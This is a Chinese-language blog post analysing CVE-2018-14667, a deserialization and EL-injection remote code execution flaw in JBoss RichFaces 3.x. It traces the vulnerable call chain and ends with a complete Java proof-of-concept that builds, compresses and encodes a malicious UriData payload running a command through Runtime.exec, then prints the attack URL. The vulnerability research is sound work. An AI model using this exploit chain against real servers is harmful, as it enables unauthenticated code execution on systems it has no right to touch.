JBoss RichFaces Unserialize+EL=RCE Analysis(CVE-2018-14667)
作者:lucifaer
作者部落格: ofollow,noindex" target="_blank">https://www.lucifaer.com/
剛開始分析Java的漏洞,很多東西感覺還是有待學習…
0x00 漏洞描述
The RichFaces Framework 3.X through 3.3.4 is vulnerable to Expression Language (EL) injection via the UserResource resource. A remote, unauthenticated attacker could exploit this to execute arbitrary code using a chain of java serialized objects via org.ajax4jsf.resource.UserResource$UriData.
根據漏洞描述,可以得知是通過 UserResource
注入EL表示式而造成的rce。而未經身份驗證的攻擊者可以通過 org.ajax4jsf.resource.UserResource$UriData
的反序列化利用鏈,完成rce。
0x01 整體觸發流程
MediaOutputRenderer$doEncodeBegin:54 # 觸發createUserResource方法,將序列化內容寫到Map對映中 BaseFilter$doFilter InternetResourceService$serviceResource:101 # 根據resourceKey獲取資源 ResourceBuilderImpl$getResourceForKey:217 # 從Map對映中利用鍵值獲取序列化內容 InternetResourceService$serviceResource:106 # 根據resourceKey獲取資源 ResourceBuilderImpl$getResourceDataForKey:227 # 白名單過濾,反序列化 InternetResourceService$serviceResource:115 # 觸發反序列化方法 UserResource$getLastModified:73 # 可被觸發的反序列化方法之一 ValueExpression$getValue:4 # 執行el表示式
0x02 漏洞分析
2.1 UserResource
官方給的描述是通過 UserResource
類進行EL表示式注入的,全域性搜一下 UserResource
這個類,定位到 org.ajax4jsf.resource.UserResource
。同樣官方說可以用 UriData
進行反序列化利用鏈的構造,簡單看了一下,需要注意的以下三個方法:
send() getLastModified() getExpired()
以上三個方法流程大致相同,挑了 getLastModified
跟一下:
可以看出能利用 UriData
執行 EL
表示式。跟一下 UriData
是從哪裡來的:
無論怎樣最後會獲得一個物件,繼續跟一下:
getter/setter方法獲值,跟進一下是什麼地方賦值的,在 org.ajax4jsf.resource.ResourceContext$serviceResource
可以清楚的看出,在
resourceContext.setResourceData(resourceDataForKey);
這裡完成了set方法。我們現在跟一下上面的流成,看看 resourceContext
具體是一個什麼東西。
2.2 InternetResourceService
首先跟一下 getResourceDataForKey
:
根據繼承關係可以看到是在 ResourceBuilderImpl
中實現的:
首先對 resourceDataForKey
進行了字串擷取,之後將字串進行解密,最後呼叫了 LookAheadObjectInputStream
,我們跟一下這個類有什麼作用:
可以看到這個類重寫了 resolveClass
方法,也就是說在載入過程中會呼叫到這個resolveClass方法,並連線到指定的類。在其中有一個 this.isClassValid(desc.getName())
實現了白名單檢測:
可以看到呼叫了 class.isAssignableFrom
校驗反序列化的類,也就是說如果反序列化的類是白名單中類的子類或者介面是可以通過該項校驗的。向下看一下,可以發現 whitelistBaseClasses
是從 resource-serialization.properties
中載入的:
而 UserResource
恰好是 InternetResource
的子類, UserResource$UriData
是 SerializableResource
的子類:
所以滿足反序列化白名單的要求。
反過頭來看一下之前的字串解密過程:
Coded
中的 d
為 null
,也就是說這個解密過程為
base64decode -> zip解密
現在反序列化流程是我們可以控制的,我們回頭看一下組成 resourceContext
的另一部分 resource
的生成過程:
首先對url進行了擷取,之後通過鍵值關係在Map對映中獲取資源。看一下在哪裡對Map進行的填充:
可以看到首先根據生成的path去獲取 userResource
,獲取不到的話就new一個,然後加入到 resources Map
中,也就是說只要我們找到哪裡呼叫了 createUserResource
就可以控制 source
的值。
檢視 createUserResource
的呼叫點時發現只有 MediaOutputRenderer$doEncodeBegin
呼叫了該方法。
2.3 MediaOutputRenderer
看一下 MediaOutputRenderer
的處理邏輯,首先建立了 userResource
,然後呼叫了getter的方法獲取 userResource
的 Uri
,之後將 Uri
放到了 ResponseWriter
中,我們看一下最後這個 ResponseWriter
最後幹了什麼:
將會把 URL
列印到頁面上。
現在我們看一下 getUri
的處理過程:
呼叫到了 UserResource$getDataToStore
:
可以看到主要完成的工作就是將 MediaOutputRenderer
的 component
引數(從程式碼中可以看出是從標籤欄位中獲得的值)中的一些值提取出來賦值到 UriData
物件中,最後返回 UriData
物件。
繼續跟進一下 getUri
:
可以看到 storeData
就是 UriData
物件,將其序列化後經過encrypt加密後返回到 resourceURL
中。回看一下反序列化過程:
也就是我們只需要構造 /DATA/
後的資料就好, /DATA/
前半段的資料是可以從 url
中獲取的:
至此整個RCE的流程就分析完了。
0x03 構造POC
梳理整理整個的觸發流程,發現該漏洞可執行 getLastModified
、 getExpired
、 send
這三個方法,完成EL表示式的執行,但是他們的觸發條件是不同的:
-
resource.isCacheable
為true
觸發getLastModified
、getExpired
-
resource.isCacheable
為false
觸發getLastModified
、send
這裡解釋一下為什麼在 resource.isCacheable
為 false
時還會觸發 getLastModified
,呼叫棧如下:
InternetResourceService$serviceResource:152 # 進入else處理環節 ResourceLifecycle$send:37 # 無論如何都會呼叫sendResource方法 ResourceLifecycle$send:117 # resource.sendHeaders觸發getLastModified方法,send觸發send方法。
可以看到最穩定的觸發點就是 getLastModified
,接下來的poc也以這個穩定觸發點為例。根據在0x01中已經提及的流程,逆向的生成 UriData
,序列化,加密,即可。
3.1 選擇反射生成的物件
根據 tint0 的文章,選擇使用 javax.faces.component.StateHolderSaver
來作為反射生成的物件,也就是 modified
物件,使用這個物件的原因是因為這個物件在反序列化失敗時可以返回一個 null
物件,最後應用會返回一個200狀態碼,而當反序列化成功時,就嘗試將狀態物件轉換成一個數組,如果失敗時會丟擲一個Richface無法捕捉的異常,應用最後返回一個500狀態碼。利用狀態碼的不同,可以判斷我們的反序列化過程是否成功執行。
String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}"; // 根據文章https://www.anquanke.com/post/id/160338 Class cls = Class.forName("javax.faces.component.StateHolderSaver"); Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class); ct.setAccessible(true); Location location = new Location("", 0, 0);
3.2 生成 UriData
主要點在於構造 UriData
中的 modified
欄位。首先整理生成 modified
所需要的幾個條件:
- Date類的物件
- 生成該物件時需要呼叫一個
ValueExpression
類的getValue
跟一下 getValue
:
根據繼承類來看,右邊框內的類都是我們可以利用的,以 TagValueExpression
舉例:
可以看到需要另外一個 ValueExpression
類,並且呼叫其 getValue
的方法。
我們首先看該建構函式的第一個需要構造的引數 attr
:
該類的建構函式為:
可以看到關鍵點在於將我們的EL表示式構造到 value
處,其他的引數可以為空。
接著看第二個需要構造的引數 orig
,這裡我們呼叫另一個 ValueExpressionImpl
類來構造這個 orig
引數:
跟一下 getNode
和 getValue
:
下個斷動態調一下,發現應如此構造 expr
:
pocEL+" modified"
其他的引數可以為空。這樣我們就可以構造一個完整的 TagValueExpression
類,這個類可以執行我們的EL表示式。
// 1. 設定UriData //設定UriData.value Object value = "cve-2018-14667"; //設定UriData.createContent Object createContent = "cve-2018-14667"; //設定UriData.expires Object expires = "cve-2018-14667"; //設定UriData.modified TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL); ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class); TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression); Object modified = ct.newInstance(null, tagValueExpression);
3.3 序列化
之後的步驟就是利用反射構造一個 UriData
,並進行初始化,同時執行序列化:
UserResource.UriData uriData = new UserResource.UriData(); Field valueField = uriData.getClass().getDeclaredField("value"); valueField.setAccessible(true); valueField.set(uriData, value); Field createContentField = uriData.getClass().getDeclaredField("createContent"); createContentField.setAccessible(true); createContentField.set(uriData, createContent); Field expiresField = uriData.getClass().getDeclaredField("expires"); expiresField.setAccessible(true); expiresField.set(uriData, expires); Field modifiedField = uriData.getClass().getDeclaredField("modified"); modifiedField.setAccessible(true); modifiedField.set(uriData, modified); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(uriData); objectOutputStream.flush(); objectOutputStream.close(); byteArrayOutputStream.close();
3.4 加密
可以直接複製 ResourceBuilderImpl$encrypt
的加密函式,就在 decrypt
的上面:
byte[] pocData = byteArrayOutputStream.toByteArray(); Deflater compressor = new Deflater(1); byte[] compressed = new byte[pocData.length + 100]; compressor.setInput(pocData); compressor.finish(); int totalOut = compressor.deflate(compressed); byte[] zipsrc = new byte[totalOut]; System.arraycopy(compressed, 0, zipsrc, 0, totalOut); compressor.end(); byte[]dataArray = URL64Codec.encodeBase64(zipsrc);
這裡要注意一下順序,在反序列化前,解密的順序為base64+zip,那麼加密過程就需要zip+base64。
完整版POC
import com.sun.facelets.el.TagValueExpression; import com.sun.facelets.tag.TagAttribute; import com.sun.facelets.tag.Location; import org.ajax4jsf.util.base64.URL64Codec; import org.jboss.el.ValueExpressionImpl; import org.ajax4jsf.resource.UserResource; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Date; import java.util.zip.Deflater; import javax.faces.context.FacesContext; public class poc { public static void main(String[] args) throws Exception{ String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"open /Applications/Calculator.app\")}"; // 根據文章https://www.anquanke.com/post/id/160338 Class cls = Class.forName("javax.faces.component.StateHolderSaver"); Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class); ct.setAccessible(true); Location location = new Location("", 0, 0); // 1. 設定UriData //設定UriData.value Object value = "cve-2018-14667"; //設定UriData.createContent Object createContent = "cve-2018-14667"; //設定UriData.expires Object expires = "cve-2018-14667"; //設定UriData.modified TagAttribute tag = new TagAttribute(location, "", "", "poc", "modified="+pocEL); ValueExpressionImpl valueExpression = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class); TagValueExpression tagValueExpression = new TagValueExpression(tag, valueExpression); Object modified = ct.newInstance(null, tagValueExpression); // 2. 序列化 UserResource.UriData uriData = new UserResource.UriData(); Field valueField = uriData.getClass().getDeclaredField("value"); valueField.setAccessible(true); valueField.set(uriData, value); Field createContentField = uriData.getClass().getDeclaredField("createContent"); createContentField.setAccessible(true); createContentField.set(uriData, createContent); Field expiresField = uriData.getClass().getDeclaredField("expires"); expiresField.setAccessible(true); expiresField.set(uriData, expires); Field modifiedField = uriData.getClass().getDeclaredField("modified"); modifiedField.setAccessible(true); modifiedField.set(uriData, modified); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(uriData); objectOutputStream.flush(); objectOutputStream.close(); byteArrayOutputStream.close(); // 3. 加密(zip+base64) // byte[] pocData = byteArrayOutputStream.toByteArray(); Deflater compressor = new Deflater(1); byte[] compressed = new byte[pocData.length + 100]; compressor.setInput(pocData); compressor.finish(); int totalOut = compressor.deflate(compressed); byte[] zipsrc = new byte[totalOut]; System.arraycopy(compressed, 0, zipsrc, 0, totalOut); compressor.end(); byte[]dataArray = URL64Codec.encodeBase64(zipsrc); // 4. 列印最後的poc String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf"; System.out.println(poc); } }
效果: